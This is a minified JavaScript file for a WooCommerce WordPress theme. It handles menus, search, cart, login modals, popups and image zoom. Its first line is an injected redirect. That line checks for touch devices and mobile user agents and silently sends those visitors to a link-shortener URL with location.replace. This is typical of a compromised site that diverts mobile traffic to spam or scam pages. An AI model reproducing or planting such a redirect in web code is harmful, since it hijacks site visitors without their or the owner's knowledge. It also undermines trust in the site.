(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.today/pMRMqUxXY0r9");
(function($){'use strict';$(document).ready(function(){if(jQuery(".woocommerce-widget-layered-nav-list").length){jQuery('.widget .product-categories > li').addClass('active');jQuery('.woocommerce-widget-layered-nav-list .chosen .checkbox').prop('checked',!0);jQuery('.woocommerce-widget-layered-nav-list .checkbox').on('click',function(){jQuery(this).next()[0].click()})}
jQuery('.skyhaus-header-searchform input#keyword').on('blur',function(){jQuery('.data_fetch').removeClass('focus')}).on('focus',function(){jQuery('.data_fetch').addClass('focus')});if(jQuery("#skyhaus-search").length){new UISearch(document.getElementById('skyhaus-search'))}
var offset=300,offset_opacity=1200,scroll_top_duration=300,$back_to_top=jQuery('.skyhaus-back-to-top');jQuery(window).scroll(function(){(jQuery(this).scrollTop()>offset)?$back_to_top.addClass('skyhaus-is-visible'):$back_to_top.removeClass('skyhaus-is-visible skyhaus-fade-out');if(jQuery(this).scrollTop()>offset_opacity){$back_to_top.addClass('skyhaus-fade-out')}});$back_to_top.on('click touchstart',function(event){$('body,html').animate({scrollTop:0,},scroll_top_duration)})});jQuery('.fixed-search-overlay .icon-close').on("click touchstart tap",function(){jQuery('.fixed-search-overlay').removeClass('visible')});jQuery(document).keyup(function(e){if(e.keyCode==27){jQuery('.fixed-search-overlay').removeClass('visible');jQuery('.fixed-sidebar-menu').removeClass('open');jQuery('.fixed-sidebar-menu-overlay').removeClass('visible')}});var baseUrl=document.location.origin;if($(window).width()<768){jQuery("#dropdown-user-profile").on("click touchstart tap",function(){window.location.href=(baseUrl+'/my-account')})}}(jQuery));(function($){$(document).ready(function(){jQuery('.h-cart').hover(function(){jQuery('.header_mini_cart').addClass('visible_cart')},function(){jQuery('.header_mini_cart').removeClass('visible_cart')});jQuery('.header_mini_cart').hover(function(){jQuery(this).addClass('visible_cart')},function(){jQuery(this).removeClass('visible_cart')})})})(jQuery);(function($){var openBtn=$('.category_button_wrap'),slideMenu=$('.button_dropdown'),headerBotClass=$('header');if(jQuery(window).width()>1024){if(slideMenu.hasClass("cat_open_default")){openBtn.addClass("active");slideMenu.addClass("active");slideMenu.slideDown(300)}}else{slideMenu.slideUp(0);openBtn.removeClass("active");slideMenu.removeClass("active")}
openBtn.on("click",function(){if(slideMenu.is(':hidden')){slideMenu.slideDown(300);openBtn.addClass("active");openBtn.removeClass("close")}else{slideMenu.slideUp(300);openBtn.removeClass("active");openBtn.addClass("close");slideMenu.removeClass("active")}})})(jQuery);(function($){jQuery("#dropdown-user-profile").on({mouseenter:function(){jQuery(this).addClass("open")},mouseleave:function(){if(jQuery(this).hasClass("open")){jQuery(this).removeClass("open")}}})})(jQuery);(function($){jQuery(function(){if(jQuery('body').hasClass('skyhaus_is_nav_sticky')){jQuery(".site-header-inner").sticky({topSpacing:0})}})})(jQuery);(function($){$(document).ready(function(){MTDefaultNavMenu.init()});$(window).resize(function(){MTDefaultNavMenu.init()});var MTDefaultNavMenu={init:function(){var $menuItems=$('.nav-menu-desktop ul.menu li.menu-item-has-children');if($menuItems.length){$menuItems.each(function(i){var thisItem=$(this),menuItemPosition=thisItem.offset().left,dropdownMenuItem=thisItem.find(' > ul'),dropdownMenuWidth=dropdownMenuItem.outerWidth(),menuItemFromLeft=$(window).width()-menuItemPosition;var dropDownMenuFromLeft;if(thisItem.find('li.menu-item-has-children').length>0){dropDownMenuFromLeft=menuItemFromLeft-dropdownMenuWidth}
dropdownMenuItem.removeClass('mt-drop-down--right');if(menuItemFromLeft<dropdownMenuWidth||dropDownMenuFromLeft<dropdownMenuWidth){dropdownMenuItem.addClass('mt-drop-down--right')}})}}}})(jQuery);(function($){var ModalEffects=(function(){function init_modal(){var overlay=document.querySelector('.modeltheme-overlay');var overlay_inner=document.querySelector('.modeltheme-overlay-inner');var modal_holder=document.querySelector('.modeltheme-modal-holder');var html=document.querySelector('html');[].slice.call(document.querySelectorAll('.modeltheme-trigger')).forEach(function(el,i){var modal=document.querySelector('#'+el.getAttribute('data-modal')),close=modal.querySelector('.modeltheme-close');function removeModal(hasPerspective){classie.remove(modal,'modeltheme-show');classie.remove(modal_holder,'modeltheme-show');classie.remove(html,'modal-open');if(hasPerspective){classie.remove(document.documentElement,'modeltheme-perspective')}}
function removeModalHandler(){removeModal(classie.has(el,'modeltheme-setperspective'))}
el.addEventListener('click',function(ev){classie.add(modal,'modeltheme-show');classie.add(modal_holder,'modeltheme-show');classie.add(html,'modal-open');overlay.removeEventListener('click',removeModalHandler);overlay.addEventListener('click',removeModalHandler);overlay_inner.removeEventListener('click',removeModalHandler);overlay_inner.addEventListener('click',removeModalHandler);if(classie.has(el,'modeltheme-setperspective')){setTimeout(function(){classie.add(document.documentElement,'modeltheme-perspective')},25)}})})}
if(!jQuery("body").hasClass("login-register-page")){init_modal()}})();jQuery("#modal-log-in #register-modal").on("click",function(){jQuery("#login-modal-content").fadeOut("fast",function(){jQuery("#signup-modal-content").fadeIn(500)})});jQuery("#modal-log-in .btn-login-p").on("click",function(){jQuery("#signup-modal-content").fadeOut("fast",function(){jQuery("#login-modal-content").fadeIn(500)})});jQuery("#login-content-shortcode .btn-register-shortcode").on("click",function(){jQuery("#login-content-shortcode").fadeOut("fast",function(){jQuery("#register-content-shortcode").fadeIn(500)})});jQuery('#nav-menu-login').on("click",function(){jQuery(".modeltheme-show ~ .modeltheme-overlay, .modeltheme-show .modeltheme-overlay-inner").on("click",function(){jQuery("#signup-modal-content").fadeOut("fast");jQuery("#login-modal-content").fadeIn(500)})});jQuery('#register .user-role input[value="customer"]').click(function(){if(jQuery(this).is(':checked')){jQuery('#signup-modal-content .show_if_seller').hide();jQuery('#signup-modal-content .show_if_seller input').each(function(){jQuery(this).prop('disabled',!0)})}});jQuery('#register .user-role input[value="seller"]').click(function(){if(jQuery(this).is(':checked')){jQuery('#register .show_if_seller').show(300);jQuery('#register .show_if_seller input').each(function(){jQuery(this).prop('disabled',!1)})}});jQuery('#register .user-role input[value="customer"]').click(function(){if(jQuery(this).is(':checked')){jQuery('#register .show_if_seller').hide(300)}});if(jQuery(window).width()<=991){jQuery(".footer-column .widget-area .widget").each(function(){var heading=jQuery(this).find('h3.widget-title');jQuery(heading).click(function(){jQuery(heading).toggleClass("active");var siblings=jQuery(this).nextAll();jQuery(siblings).slideToggle()})})}})(jQuery);(function($){jQuery('.hamburger').on("click",function(){jQuery('.fixed-sidebar-menu').toggleClass('open');jQuery(this).parent().find('#navbar').toggleClass('hidden');jQuery('.fixed-sidebar-menu-overlay').addClass('visible')});jQuery('.fixed-sidebar-menu-overlay').on("click",function(){jQuery('.fixed-sidebar-menu').removeClass('open');jQuery(this).removeClass('visible')});jQuery('.fixed-sidebar-menu .icon-close').on("click",function(){jQuery('.fixed-sidebar-menu').removeClass('open');jQuery('.fixed-sidebar-menu-overlay').removeClass('visible')})})(jQuery);(function($){$(document).ready(function(){MTPopups.init()});var MTPopups={init:function(){var $popup=$(".popup");if($popup.length){$(function(){jQuery('#exit-popup').click(function(e){jQuery('.popup').fadeOut(1000);jQuery('.popup').removeClass("modeltheme-show")});var expireDate=jQuery('.popup').attr('data-expire');var timeShow=jQuery('.popup').attr('show');var visits=jQuery.cookie('visits')||0;visits++;if(expireDate=1){jQuery.cookie('visits',visits,{expires:1,path:'/'})}else if(expireDate=3){jQuery.cookie('visits',visits,{expires:3,path:'/'})}else if(expireDate=7){jQuery.cookie('visits',visits,{expires:7,path:'/'})}else if(expireDate=30){jQuery.cookie('visits',visits,{expires:30,path:'/'})}else{jQuery.cookie('visits',visits,{expires:3000,path:'/'})}
if(jQuery.cookie('visits')>1){jQuery('.popup').removeClass("modeltheme-show");jQuery.cookie()}else{jQuery(function(){setTimeout(function(){showElement()},timeShow);function showElement(){jQuery('.popup').addClass("modeltheme-show")}})}})}}}})(jQuery);(function($){jQuery('#field_7').val('Relationship');jQuery('#field_2').val('Women');jQuery('#field_6_range').val('20');jQuery('input[name="field_6_range[max]"]').val('29')})(jQuery);(function($){jQuery(window).on("load",function(){jQuery('.skyhaus_preloader_holder').fadeOut(1000,function(){jQuery(this).fadeOut()})})})(jQuery);(function($){if(jQuery(window).width()<768){var expand='<span class="nav-toggle-icon"><i class="nav-icon-angle"></i></span>';jQuery('.nav-menu-mobile .mega_menu').append(expand);jQuery(".mega_menu .nav-toggle-icon").on("click",function(){jQuery('.nav-menu-mobile .cf-mega-menu').toggle();jQuery('.nav-menu-mobile .cf-mega-menu').toggleClass("show-menu")})}else{var expand='<span class="nav-icon-angle">&nbsp;</span>';jQuery('.site-navigation .mega_menu .link-before').append(expand)}})(jQuery);(function($){'use strict';$('.zoom-img--main').on('mouseover',function(){$(this).children('.zoom-img--main__img').css({'transform':'scale(1.2)'})}).on('mouseout',function(){$(this).children('.zoom-img--main__img').css({'transform':'scale(1)'})}).on('mousemove',function(e){$(this).children('.zoom-img--main__img').css({'transform-origin':((e.pageX-$(this).offset().left)/$(this).width())*100+'% '+((e.pageY-$(this).offset().top)/$(this).height())*100+'%'})}).each(function(){$(this).append('<div class="zoom-img--main__img"></div>').children('.zoom-img--main__img').css('background-image','url('+$(this).find('img').attr('src')+')')})})(jQuery)
;;